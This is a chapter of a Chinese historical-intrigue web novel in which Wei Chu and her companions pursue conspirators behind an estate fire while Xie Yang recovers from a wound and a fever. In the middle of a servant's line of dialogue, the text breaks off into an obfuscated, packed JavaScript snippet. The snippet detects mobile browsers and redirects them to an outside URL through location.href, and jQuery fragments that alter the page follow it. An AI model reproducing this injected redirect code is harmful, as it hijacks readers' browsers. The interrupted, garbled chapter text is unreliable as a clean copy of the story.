兰真与蒲族归顺大昭，在昭境生活久矣，其族人的后代半属昭人，奸人的谋算便落在此处。


    韦初看向父母牌位，沉默不语。


    谢氏掌控云州漕运，间掌粮赋，霍氏职掌盐铁，二者形成互补。其假阮锐之恨，借刀杀人，成功翦除了谢氏对岭州的控制。


    韦初追问：“禹和郡与你相通者乃何人？”


    阮锐缄默片刻，摇头：“他们遣人暗通于我，从我口中得知密道所在，然终未露行迹根底。”


    “不过。”他坐直，“其中必有禹和郡土著与焉。”


    “为何如此确定？”


    阮锐自嘲一笑：“能于谢氏庄园里应外合，事讫杳无踪迹，仅靠他们的爪牙莫能成。”


    禹和郡土著。


    韦初蓦地想起猝然身亡且查不出毒因的张年，张年或知隐情，未及清醒便遭灭口。


    眸底寒芒肆起，韦初闭了闭眼，压下翻涌的情绪。


    肩上一沉，仰起头，谢沅神色担忧地看着她，她摇摇头。


    禹和郡凶人形迹未辨，幕后奸人未明，当深究其根源。


    谢沅收回手，面色恢复肃然，单手押着阮锐出殿。


    韦初起身步至牌位前，鲜花尽数打翻在地，残瓣零落案面。


    她吸吸鼻子，取帕试净，弱光照下，本就未添香烛的案面此刻更显寂寥。


    未几，殿中狼藉被清理干净，染血的地面也恢复如初。


    将青铜盆内重换清水，韦初跪于案前，念诵佛经。


    最后伏地叩首，起身出殿。


    事不宜言明于众前，她暂回跨院。


    推开房门，韦初朝里看去，谢泱血衣褪去，着中衣卧于床，一声不吭。


    见她过来，顾书锦迎上前，低声道：“此创差一寸便伤其肺部，幸无虞，单凭外敷疗效不大，还须辅之以汤药。”


    韦初颔首：“这里交给我，顾兄辛苦了。”


    “害。”


    顾书锦无奈摇头，回身看了眼始终默然未应的谢泱，叹道，“你二人怎轮流受创。”


    说罢缓步跨出门槛，轻合房门。


    韦初行至床边坐下，轻声说：“东侧殿已复净。”


    今日他们一个攻击长辈，另一个逼迫他吐露实话，如此这般完全不是往日在父母面前的模样。


    这样的他们，四人见了当会失望。


    谢泱睁开眼，眼眶泛红。


    身世和阮锐的恨接连对他产生冲击，当下的他一时难以平衡。


    “谢泱。”


    韦初极少唤他全名，静静与他对视。


    谢泱看着她，唇角牵起浅浅的弧度，有些话不必说出口，他便意会她说：不论你是何人之子，犹是你。


    须臾他道：“师……兄长在门外吧。”


    “你想见他吗？”她问。


    谢泱点头。


    厢房其实并不隔音，更何况谢沅这等五感极其敏锐的人，无需细听，便可知其事。


    房门轻响，谢沅缓步靠近。


    师徒三人缄默了会儿，谢沅道：“庄园暗道不止一条。”


    闻言两人倏地抬眸。


    “此前复审阮锐，方知他所泄乃旧废之道，然其心有异，暂囚。”谢沅稍顿，道，“他目前还有用处，且为朝廷命官不好随意处置，先留他一命。”


    韦初知师父是有意留他性命，若想杀之，以阮太守长途跋涉致疾，悲深殒身而报。


    “绥阳郡之事可有音信？”


    谢沅从袖中取出簿册，递给她：“庞贵罪孽深重，罪当诛，暗桩得‘张山’踪迹，正全力追踪。”


    韦初摊开簿子，靠近烛台，上面是益康郡林氏家主字迹——贵人所托之事某亲制成册。


    她翻动，此为江州境内，浚川、临沂、南临、禾水、余阳五个粮盐转运关键郡的记录。


    上面详细记载五郡因船故所失货物数量，林家主通过己身人脉，集有商船暗地交易帐目。


    看完这些，她将簿册放到谢泱手中，唇角微翘道：林家主大义，得此可清除许仲在江州安插的傀儡，断其资源。


    谢泱阅完，咳嗽数声，苍白的脸上浮现一抹浅笑：“先前小看林氏了，林家主能力出众，且重情义……师父。”


    谢沅会意，点了点头。


    “药来了。”


    三人一齐看去，顾书锦手端一碗上冒热的气汤药徐徐走来。


    今日方知顾书锦与谢泱谢沅之间的关系。


    韦初记起师父言承和八年旧事，问：“顾兄惧水是因幼时落水成悸？”


    顾书锦靠着谢沅坐下，把瓷碗送到谢泱唇边，面显愧疚之色。


    “不错。”


    盯着谢泱把药饮尽，他道：“姑母是因我而早产，致阿西幼时体弱多病，亦是因我才背上凶名。


    此事唯咎奸佞，他们谋算许久，强诬顾希腹中孩子为灾星。彼时顾书锦亦为受害者。


    “表兄这般自责。”谢泱抬手抹去嘴角残汤：“那便给颗饴糖，一笔勾销。”


    -


    夜里，韦初睡眠浅，闻外有异动遂出房门。


    谢泱骤起高烧，顾书锦和谢沅迭进汤药方定。


    他眉头紧拧，面上布满细汗。


    韦初持湿帕为他擦拭，然他似梦魇难离，俊眉深绞，浑身轻颤。


    她抿唇，将金钿塞进他掌中，三指顺势搭在他腕上。


    他眼皮滚动一下，脉象渐稳。


    谢泱晕晕沉沉间，见到了母亲。


    幼时的他，弱而好动，为此母亲总是寸步不离地守着他，眼神饱含爱意。


    “阿初慢点。”


    “阿初小心。”


    “我们阿初是母亲心中最好的孩子。”


    母亲之子和他一样，生在同日，只不过那个素未谋面的兄弟一出生便夭折。


    这份母爱原不属于他，是他顶替了那个位置，也因此害死了她。


    内疚、不安萦绕心头，他立于原地不敢靠近。


    踌躇之际，母亲握紧他的手，声音温柔而坚定。


    “阿初就是阿初，不是谁的替身，阿母从未将你们混淆。”


    宿雨过后，日出明霁。


    东侧殿供案上放满了鲜花，暖光洒入，牌位周围泛起金色光圈。


    韦初停笔，看着面前素帛许久，双手恭捧，将它奉于供案东侧。


    在蒲团上跪了会儿，推门声响，来人脚步声轻细，她睁开眼。


    阿汀跪在后侧，轻声道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174660|196888||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ：“小娘子，岭州那边来消息了。”


    韦初“嗯”了声，问：“阿西情况如何？”


    “谢郎君已无大碍。”阿汀说，“适才郎君还执意过来，半途被顾先生抓了回去。”


    韦初蹙眉，道：“你回去同他说，经书已供，一切妥当，养好身子再来。”


    阿汀应好，满脸心疼道：“婢子煨了羹汤，小娘子彻夜未眠，待回院当饮数碗。”


    “知道啦。”韦初朝她眨眨眼。


    目送阿汀离开，韦初略一思忖，父亲和谢伯父于岭州仍留有部曲，他们分批潜护边陲，是时音信至，大抵查得了要事。


    跨院斋堂素净雅致，内置一张竹质长案，铺以草席，众人围坐进食。


    吃完碗热腾腾的汤饼，韦初放下亲卫呈来的文书，此间内容证实了先前的猜测。


    岭州边境疟疾得控后，津关处关吏排查出不少行迹可疑的商旅，他们自安州南下，又流连岭州沿海区域。


    这正是他们所暗寻之人。


    面前的瓷碗被端走，盛满后放回，韦初侧头，张鸣神色担忧，关切地道：“你一夜未眠，白日抄经，长此以往当慎之。”


    韦初眉眼弯弯，端起碗：“我听阿姊的。”


    吃了几口想起一事，问：“阿姊宅中可曾见过亦曲亦直的短刀？”


    “亦曲亦直的刀？”张鸣不明所以，短暂思索，道，“张年服药癫狂，曾持长剑劈砍，平日我鲜少见利器，岚岭所睹弯刀亦是初见。”


    这时案面“砰”地出现一把她们口中所言的短刀。


    张鸣惊呼一声，整个人后仰，韦初眼疾手快，横手将她揽回。


    “哎呦抱歉抱歉，一时忘敛力道。”白言赔笑道，“这便是那刀。”


    张鸣抚胸稳住呼吸，缓缓靠近，俯身仔细端详刀身半晌，直起腰道：“未曾见过此刀。”


    白言一脸失望地收回刀，牵起唇角示意她坐下。


    韦初眼珠转动，也是，张年这等癫人发作时，宅中女眷唯恐避之不及，阿姊深居内院经年，癫人纵有异样亦难察。


    饭后，韦初端着一碟新蒸豆糕进入谢泱房中。


    房内药草香气浓重，想来是他方换了药。


    余光扫过床前案面，果见静置一碗汤药。


    谢泱原地活动活动四肢，倚靠床沿看她，预先道：“药我过会儿即饮。”


    药苦难咽，能拖便拖。


    这招是他们自小常用的伎俩，能唬得过他们，唬不过身为同伙的她。


    韦初盯着他，一语不发。


    谢泱率先移开目光，端起碗一饮而尽。


    她眉梢微挑，步上前，把豆糕移到他面前：“吃吧。”


    谢泱拧着眉吃下，清甜盖过药苦，神色逐渐舒展。


    “文书可看过了？”


    谢泱轻“嗯”一声，持帕擦拭嘴角：“师父已派精锐前去。”


    韦初道：“我疑张年涉庄园火事。”


    “张年？”


    突然说起这个名字，谢泱稍愣，在脑中搜寻片刻，道：“你疑此人碍事，故被毒杀。”


    “不错。”韦初撑着下巴，“彼时我便觉他死得过于巧合，现将那日琐迹联系起来，他的死，或是个引子。”